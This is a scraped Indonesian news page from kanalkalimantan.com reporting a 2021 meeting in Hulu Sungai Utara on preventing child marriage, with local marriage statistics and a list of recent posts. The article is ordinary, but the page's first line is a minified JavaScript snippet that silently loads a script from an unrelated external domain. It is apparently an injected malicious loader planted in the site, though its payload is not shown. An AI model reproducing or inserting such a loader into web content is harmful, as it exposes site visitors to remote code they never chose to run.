(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Wabup HSU: Masyarakat Harus Bantu Cegah Pernikahan Dini Anak


KANALKALIMANTAN.COM, AMUNTAI – Wakil Bupati Hulu Sungai Utara (HSU) H Husairi Abdi edukasi kepada masyarakat dapat membantu mencegah pernikahan dini anak.

Demikian diungkapkannya saat menghadiri rapat koordinasi pencegahan perkawinan anak usia dini di aula Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA), Selasa (21/9/2021).

“Sebelum melarang, kita berikan edukasi tentang pentingnya pencegahan pernikahan anak usia dini. Adapun bagi yang sudah melakukan pernikahan langkah-langkah apa saja yang harus dilakukan dalam penanganannya,” kata Wabup Husairi

Ia meminta kepada seluruh Dinas Satuan Kerja Perangkat Daerah (SKPD) terkait memberikan kontribusi sesuai dengan tupoksi masing-masing dalam pencegahan perkawinan anak usia dini.

 

Baca juga : Tiga Anak Didaftarkan Nurul Khitan Massal di Balai Kota Banjarmasin

“Contoh, seperti Dinas Pemberdayaan Masyarakat dan Desa bisa memberitahu kepada seluruh kepala desa di HSU untuk melakukan sosialisasi pentingnya mencegah perkawinan anak usia dini serta dampak kesehatan apabila melakukan pernikahan usia dini,” katanya.

Sementara, Kepala DPPPA HSU Hj Gusti Iskandariah menyebut, berdasarkan data yang dihimpun, perkawinan usia anak di Hulu Sungai Utara dari 2019 sampai sekarang sudah mulai mengalami penurunan signifikan.

Hal itu berdasarkan di tahun 2019 DPPPA melakukan perjanjian penandatanganan kesepakatan bersama (MoU) dengan Kementrian Agama HSU, dan Kantor Urusan Agama (KUA) tentang upaya pencegehan perkawinan usia anak.

Walaupun demikian, di awal tahun 2019 sempat mengalami lonjakan kenaikan pernikahan anak usia dini, setelah ada penandatanganan MoU di pertengahan tahun mulai terjadi grafik penurunan.

 

Baca juga : Belum Diresmikan, Areal Jembatan Sei Alalak Terendam Saat Hujan Deras!

“Dari data kami, untuk tahun 2020 ada 26 pernikahan usia dini, sementara di tahun 2019 ada 227 pernikahan dini,” kata Gusti Iskandariah.

Ia menegaskan, peran pencegahan pernikahan anak usia dini bukan hanya terfokus di DPPPA saja namun menjadi peran pemerintah daerah. (kanalkalimantan.com/dew)

Reporter : dew
Editor : kk


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

2 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

7 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.